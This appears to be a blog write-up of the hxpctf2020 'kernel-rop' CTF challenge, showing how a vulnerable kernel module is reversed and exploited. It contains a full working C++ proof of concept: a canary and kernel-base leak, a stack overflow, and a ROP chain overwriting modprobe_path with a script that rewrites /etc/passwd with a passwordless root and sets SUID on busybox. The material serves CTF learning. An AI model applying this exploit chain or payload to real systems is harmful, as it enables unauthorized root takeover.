Intro to Kernel Exploitation
Kernel exploitation challenge in hxpctf2020 as kernel-rop
The challenge is shipped with the following contents. Where initramfs is the filesystem and run.sh contains start instructions for VM using qemu and vmlinuz is the kernel image that will be used.
-rw-r - r - 1 kch1go kch1go 1017 Jan 1 1970 Dockerfile
-rw-r - r - 1 kch1go kch1go 773721 Jan 1 1970 initramfs.cpio.gz
-rw-r - r - 1 kch1go kch1go 3184 Jan 1 1970 pow-solver.cpp
-rwxr-xr-x 1 kch1go kch1go 278 Jan 1 1970 run.sh
-rw-r - r - 1 kch1go kch1go 8031840 Jan 1 1970 vmlinuz
-rw-r - r - 1 kch1go kch1go 34712 Jan 1 1970 ynetdIt’s always good to check the run.sh content for some memory protections (e.g. kaslr, smep, smap).
Filesystem can be extracted by the gzip -dc initramfs.cpio.gz | cpio -idm command and we will be given with a kernel module hackeme.ko along with couple other linux files. Before moving on any further I will create a ghidra project to examine how the module is created and how can a userland binary can access the kernel pages.
While most of it (exit, release and open) had nothing in within, it can be seen from the init function, the kernel module adds a character device using misc_register.
int hackme_init(void)
{
int iVar1;
iVar1 = misc_register(&hackme_misc);
return iVar1;
}Let’s try accessing the device first with a low privileged user. To check the access to the device we can use open() command.
#include <fcntl.h>
#include <unistd.h>
#include <iostream>
int main(void) {
int fd = open("/dev/hackme", O_RDWR);
std::cout << (!fd ? "[-] Couldn't access registered device" : "[+] Successfully accessed the device") << std::endl;
close(fd);
return 0;
}Upon compiling the source using g++ the executable can be added to the updated filesystem using find . -print0 | cpio --null --format=newc -o 2>/dev/null | gzip -9 > ../rootfs_updated.cpio.gz command.
/ $ id
uid=1000 gid=1000 groups=1000
/ $ ./access
[+] Successfully accessed the deviceNow because kaslr is enabled, we need to find a way to leak a memory address in order to get a persistent command execution. To achieve this goal, hackme_read function can be utilized.
As can be observed, although it copies 8 bytes into the device, and there seems to be only an upper bound check whether the size is greater than 0x1000 bytes. So any size greater than 8 would be module’s kernel memory addresses. It also should be noted that there is a stack canary check within the function. By leaking the kernel addresses we can get the value upon initialization (GS:[0x28]).
00100137 65 48 8b MOV RAX,qword ptr GS:[0x28]
04 25 28
00 00 00Kernel Leak
uint8_t size = 20;
uintptr_t buf[size];
ssize_t data = read(fd, buf, sizeof(buf));
for (uint8_t i = 0; i < size; i++) {
std::cout << "[+] #" << std::dec << (int)i << " leak is: 0x" << std::hex << buf[i] << std::endl;
}The kernel memory starts with 0xffff.. so the leak is achieved. Glancing over the leaked addresses, in indexes 2 and 16 the values are look like the canaries that were being checked. Typically a stack canary is going to be outside of kernel memory and ends with 0x00 . We will confirm this later on.
Now that leak is complete, let’s move to hackme_write to overwrite some of the registers/memory locations. Again similar to the read, write also performs an upper bound check, gets the data from user space to kernel then uses the data in a memcpy function that the destination size is 8 bytes in stack. So any data passed on to the function causes a stack based buffer overflow.
Additional to the previous code, we can use write() to file descriptor to overwrite the memory locations. If we were to make the changes on the code to write arbitrary strings into memory we would get an error as follows.
std::cout << "[+] Executing write primitive" << std::endl;
uintptr_t payload[512];
std::memset(payload, 'A', 300);
auto* payload_str = reinterpret_cast<const wchar_t*>(payload);
std::wcout << "[+] Initialized payload with size: " << std::size(payload) << " content: " << payload_str << std::endl;
write(fd, payload, std::size(payload));We can see that the stack canary check failed and due to the failure of sending the correct canary value, it results with Kernel panic and VM reboots. With the read primitive we had a way to leak the canary in two different places. So now it would be good to extract canary value that is generated runtime and send it in the write primitive so that we can bypass this check. Following snippet matches every canary like looking addresses.
bool is_cookie(uintptr_t s) {
return (s & 0xff) == 0 && s != 0 && s && (s >> 48) != 0xffff && (s >> 8) != 0;
}
[..SNIP..]
ssize_t data = read(fd, buf, sizeof(buf));
for (uint8_t i = 0; i < size; i++) {
// std::cout << " [+] #" << std::dec << (int)i << " leak is: 0x" << std::hex << buf[i] << std::endl;
is_cookie(buf[i]) ? printf("\t[+] Found CANARY @ %d with value: 0x%016lx\n", i, buf[i]) : 0;
}
[..SNIP..]After the modification running the executable reveals the canary token.
Now that we can bypass canary, it is time to calculate the offset. For that I added -s to run.sh script to enable remote debugging with gdb and extract vmlinux image using the script.
gdb ./vmlinux
target remote localhost:1234Following the debugger connection, we need to find the hackme_write function address. But it doesn’t output anything.
An alternative is getting the address of the function directly from VM. By changing /etc/inittab content to be the following we can login to the VM as root.
::once:-sh -c 'cat /etc/motd; setuidgid 0 sh; poweroff'For this we need root privileges because we will try to read the content of /proc/kallsyms file (basically a symbol table) to get the address of the function. grep hackme /proc/kallsyms will reveal the addresses as:
# grep hackme proc/kallsyms
ffffffffc0000190 t hackme_release [hackme]
ffffffffc00000d0 t hackme_write [hackme]
ffffffffc00001a0 t hackme_open [hackme]
ffffffffc0000000 t hackme_read [hackme]
ffffffffc0002000 d hackme_misc [hackme]
ffffffffc00000b7 t hackme_exit [hackme]
ffffffffc00010a0 r hackme_fops [hackme]
ffffffffc0001076 r .LC1 [hackme]
ffffffffc00011a0 r _note_7 [hackme]
ffffffffc0002080 d __this_module [hackme]
ffffffffc00000b7 t cleanup_module [hackme]
ffffffffc0002440 b hackme_buf [hackme]Setting a breakpoint at b *0xffffffffc00000d0 will stop the execution when the function is called.
Stepping into each instruction, the initialization of stack canary can be seen in the 0xffffffffc00000e6 mov rax, QWORD PTR gs:0x28
Then the size is checked on cmp rdx, 0x1000 . The relevant code section that checks the canary can be found in ghidra as:
001000b2 48 8b 4d e8 MOV off,qword ptr [RBP + tmp[30]]
001000b6 65 48 33 XOR off,qword ptr GS:[0x28]
0c 25 28
00 00 00
001000bf 75 28 JNZ LAB_001000e9Now the user input is placed in rbp - 0x98 as can be seen below;
00100099 48 8d bd LEA f=>local_a8,[RBP + -0x98]
68 ff ff ff
001000a0 48 89 da MOV size,RBX
001000a3 48 c7 c6 MOV data,hackme_buf = ??
c0 08 10 00The canary validation is done rbp-0x18;
So there is a difference of 0x80 bytes which is 128 in decimal. So revisiting the executable to change the payload content to contain 128 A chars then the canary value fetched from read we can overflow successfully.
uintptr_t payload[512];
std::memset(payload, 'A', 128);
std::memcpy(payload + 16, &buf[16], 8);
std::memset(payload + 17, 'B', 100);
auto* payload_str = reinterpret_cast<const wchar_t*>(payload);
std::wcout << "[+] Initialized payload with size: " << std::size(payload) << " content: " << payload_str << std::endl;
write(fd, payload, 250);With the size that we are leaking (160 bytes) we couldn’t find a good candidate to calculate the offset to kernel base address. So decided to make the read size greater than 20. After making the size to be 40 (means 320 bytes will be leaked) in the 38th entry we have a valid address to calculate the offset.
[+] 38th leak is: 0xffffffffa200a157
# grep stext /proc/kallsyms
ffffffffa2000000 T _stext
ffffffffa2cdcfa0 r snstextSo it is possible to calculate the base as kernel_base = <38th Leak> - 0xa157 .
uintptr_t kernel_base = buf[38] - 0xa157;
std::cout << "[+] Kernel Base: " << std::hex << kernel_base << std::endl;By using ROPgadget or rp++ we can get the gadgets that we will need.
The gadgets also can be found if you choose to use pwndbg. The gadgets from pwndbg will be at runtime so in each boot the correct offsets can be gathered.
Get 0xKch1go’s stories in your inbox
Join Medium for free to get updates from this writer.
For modprobe_path we are going to need a few things. Explanation of the code execution path can be found in the link here. Also the steps are as follows;
- Find modprobe_path memory address in the kernel
- Overwrite the address’ content to a created shell script
- Create a dummy executable that contains
0xffffffff. - Call the executable over execve call.
Since the arguments are called over RDI register in 64 bit architecture, we will need to find a gadget that would allow us to put a value into it. Such gadget could be pop rdi ; ret .
With pwndbg these can be enumerated by following;
pwndbg> target remote localhost:1234
Remote debugging using localhost:1234
Program received signal SIGTRAP, Trace/breakpoint trap.
0xffffffff8b61b652 in ?? ()
pwndbg> rop - grep 'pop rdi ; ret'Because the .text section is executable I will choose memory locations over there. Following entry looks like a useful address 0xffffffff8b606370 : pop rdi ; ret (kernel_base + 0x6370). modprobe_path can be found in /proc/kallsyms table (grep modprobe_path /proc/kallsyms ffffffffaf461820 D modprobe_path ). Now one last thing is a way to overwrite the content that modprobe points to, simply a gadget that looks like mov [rdi], .. . And this one can be located @ + 0x7e56 as;
pwndbg> x/2i (0xffffffffae400000+0x7e56)
0xffffffffae407e56: mov BYTE PTR [rdi],bl
0xffffffffae407e58: retbl register can contain 1 byte at a time so we will loop through the shell script that will be created which is going to be named as /tmp/x .
void setup_modprobe_script() {
int fd = open("/tmp/x", O_WRONLY | O_CREAT | O_TRUNC, 0777);
if (fd < 0) {
std::cerr << "[-] Failed to create /tmp/x" << std::endl;
exit(1);
}
const char *script =
"#!/bin/sh\n"
"echo 'root::0:0:root:/root:/bin/sh' >> /etc/passwd\n"
"chmod 4755 /bin/busybox\n";
write(fd, script, strlen(script));
close(fd);
chmod("/tmp/x", 0777);
std::cout << "[+] Created /tmp/x" << std::endl;
}Also previously mentioned binary with content of 0xffffff can be created with;
void setup_trigger_binary() {
int fd = open("/tmp/unknown", O_WRONLY | O_CREAT | O_TRUNC, 0777);
if (fd < 0) { perror("[-] /tmp/unknown"); exit(1); }
const uint8_t magic[] = {
0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff,
};
write(fd, magic, sizeof(magic));
close(fd);
chmod("/tmp/unknown", 0777);
std::cout << "[+] Created /tmp/unknown" << std::endl;
}Moving on to creating the gadget, as mentioned before the shell script is created with the name /tmp/x which is 7 char long (including the null-byte) we will iterate through each chars to add it into the location that modprobe_path points to. Each execution of the loop first will load modprobe_path to rdi, then pops a one character from s pointer to b, finally moves the character to where modprobe points to.
const char *s = "/tmp/x";
uintptr_t rop_gadget[100] = {0};
uint64_t *rop = rop_gadget;
for (int i = 0; i < 7; i++ ) {
uint8_t b = (i < 6) ? s[i] : 0;
*rop++ = kernel_base + 0x6370; // pop rdi ; ret
*rop++ = kernel_base + 0x1061820 + i; // rdi = &modprobe + i
*rop++ = kernel_base + 0x6158; // pop rbx ; ret
*rop++ = b;
*rop++ = kernel_base + 0x7e56; // mov byte [rdi], bl ; ret
}
[..SNIP..]
uint64_t payload[512];
uint64_t *p = payload;
for (int i = 0; i < 16; i++) {
*p++ = 0x4141414141414141;
}
*p++ = buf[16];
*p++ = 0x4343434343434343;
*p++ = 0x4343434343434343;
*p++ = 0x4343434343434343;
*p++ = kernel_base + 0x6371; // ret
for (int i = 0; i < rop_length; i++) {
*p++ = rop_gadget[i];
}
[..SNIP..]To see that in action we can set a breakpoint to `kernel_base + 0x6370` in gdb.
Now that with the null-byte is written, the chain is completed. However it is to note that RSP got broken. So because RSP does not have any valid instructions, the program is likely crash.
Upon moving on with the execution we get the following error from kernel.
[ 20.705999] BUG: kernel NULL pointer dereference, address: 0000000000000003
[ 20.706749] #PF: supervisor instruction fetch in kernel mode
[ 20.707096] #PF: error_code(0x0010) - not-present page
[ 20.707603] PGD 8000000005d8c067 P4D 8000000005d8c067 PUD 5d2e067 PMD 0
[ 20.709535] Oops: 0010 [#1] SMP PTI
[ 20.710717] CPU: 0 PID: 114 Comm: access Tainted: G O 5.9.0-rc6+ #10
[ 20.711678] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Arch Linux 1.17.0-2-2 04/01/2014
[ 20.713342] RIP: 0010:0x3
[ 20.713924] Code: Bad RIP value.
[ 20.714164] RSP: 0018:ffffa9b7801bffd0 EFLAGS: 00010296
[ 20.714560] RAX: 00000000000001c0 RBX: 0000000000000000 RCX: 0000000000000000
[ 20.714925] RDX: 00000000ffffffff RSI: ffffffffc0389600 RDI: ffffffff90661826
[ 20.715311] RBP: 4343434343434343 R08: ffffffff90661826 R09: ffffffff8f606158
[ 20.715703] R10: 0000000000000000 R11: ffffffff8f607e56 R12: 4343434343434343
[ 20.716090] R13: ffffa9b7801bfef0 R14: 00007ffcecc16530 R15: ffff8dc2c68ad500
[ 20.716621] FS: 0000000001fb6400(0000) GS:ffff8dc2c7600000(0000) knlGS:0000000000000000
[ 20.717059] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 20.717433] CR2: ffffffffffffffd9 CR3: 0000000005cc0000 CR4: 00000000003006f0
[ 20.718241] Call Trace:
[ 20.719979] Modules linked in: hackme(O)Well I hit a breakpoint at this current state. The execution gets interrupted because of not sending any bytes after the payload. Just because I haven’t added any addresses to the end of the gadgets, it breaks the execution of the program preventing it to return successfully to another valid address.
There are probably ways to fix this misalignment of the stack. However, with the current setup we won’t need it. Because the the payload is already sent with necessary gadgets to overwrite modprobe to contain the shell script generated the passwd file would be created with root user without any password and the busybox binary will have SUID bit set. The only thing is when we get the NULL point dereference from kernel, it kills the process. To overcome this we can leverage fork() , with it can include the whole read/write primitive in a child process to trigger, then execute the rest of the commands (/tmp/unknown and /bin/busybox su) in the parent process.
pid_t child = fork();
if (child == 0) {
[..SNIP..]
// Leak and BOF code
[..SNIP..]
}
waitpid(child, NULL, 0);
sleep(1);
system("/tmp/unknown");
sleep(2);
execv("/bin/busybox", (char*[]){(char*)"busybox",(char*)"su", NULL});
return 0;So that we will get a root shell on the box.
Full PoC code is as follows;
#include <cstdint>
#include <sys/stat.h>
#include <sys/wait.h>
#include <cstring>
#include <fcntl.h>
#include <unistd.h>
#include <iostream>
bool is_cookie(uintptr_t s) {
return (s & 0xff) == 0 && s != 0 && s && (s >> 48) != 0xffff && (s >> 8) != 0;
}
void setup_modprobe_script() {
int fd = open("/tmp/x", O_WRONLY | O_CREAT | O_TRUNC, 0777);
if (fd < 0) {
std::cerr << "[-] Failed to create /tmp/x" << std::endl;
exit(1);
}
const char *script =
"#!/bin/sh\n"
"echo 'root::0:0:root:/root:/bin/sh' > /etc/passwd\n"
"chmod 4755 /bin/busybox\n";
write(fd, script, strlen(script));
close(fd);
chmod("/tmp/x", 0777);
std::cout << "[+] Created /tmp/x" << std::endl;
}
void setup_trigger_binary() {
int fd = open("/tmp/unknown", O_WRONLY | O_CREAT | O_TRUNC, 0777);
if (fd < 0) { perror("[-] /tmp/unknown"); exit(1); }
const uint8_t magic[] = {
0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff,
};
write(fd, magic, sizeof(magic));
close(fd);
chmod("/tmp/unknown", 0777);
std::cout << "[+] Created /tmp/unknown" << std::endl;
}
int main(void) {
setup_modprobe_script();
setup_trigger_binary();
pid_t child = fork();
if (child == 0) {
int fd = open("/dev/hackme", O_RDWR);
std::cout << (!fd ? "[-] Couldn't access registered device" : "[+] Successfully accessed the device") << std::endl;
uint8_t size = 40;
uintptr_t buf[size];
ssize_t data = read(fd, buf, sizeof(buf));
for (uint8_t i = 0; i < size; i++) {
// std::cout << " [+] #" << std::dec << (int)i << " leak is: 0x" << std::hex << buf[i] << std::endl;
is_cookie(buf[i]) ? printf("\t[+] Found CANARY @ %d with value: 0x%016lx\n", i, buf[i]) : 0;
}
uintptr_t kernel_base = buf[38] - 0xa157;
std::cout << "[+] Kernel Base: 0x" << std::hex << kernel_base << std::endl;
std::cout << "[+] Saving registers.." << std::endl;
// modprobe_path offset: 0x1061820
// Creating ROP Gadget
std::cout << "[+] Creating ROP gadget.." << std::endl;
const char *s = "/tmp/x";
uintptr_t rop_gadget[100] = {0};
uint64_t *rop = rop_gadget;
for (int i = 0; i < 7; i++ ) {
uint8_t b = (i < 6) ? s[i] : 0;
*rop++ = kernel_base + 0x6370; // pop rdi ; ret
*rop++ = kernel_base + 0x1061820 + i; // rdi = &modprobe + i
*rop++ = kernel_base + 0x6158; // pop rbx ; ret
*rop++ = b;
*rop++ = kernel_base + 0x7e56; // mov byte [rdi], bl ; ret
}
int rop_length = rop - rop_gadget;
std::cout << "[+] Executing overflow.." << std::endl;
uint64_t payload[512];
uint64_t *p = payload;
for (int i = 0; i < 16; i++) {
*p++ = 0x4141414141414141;
}
*p++ = buf[16];
*p++ = 0x4343434343434343;
*p++ = 0x4343434343434343;
*p++ = 0x4343434343434343;
*p++ = kernel_base + 0x6371;
for (int i = 0; i < rop_length; i++) {
*p++ = rop_gadget[i];
}
size_t write_size = (p - payload) * sizeof(uint64_t);
write(fd, payload, write_size);
exit(0);
}
waitpid(child, NULL, 0);
sleep(1);
system("/tmp/unknown");
sleep(2);
execv("/bin/busybox", (char*[]){(char*)"busybox",(char*)"su", NULL});
return 0;
}







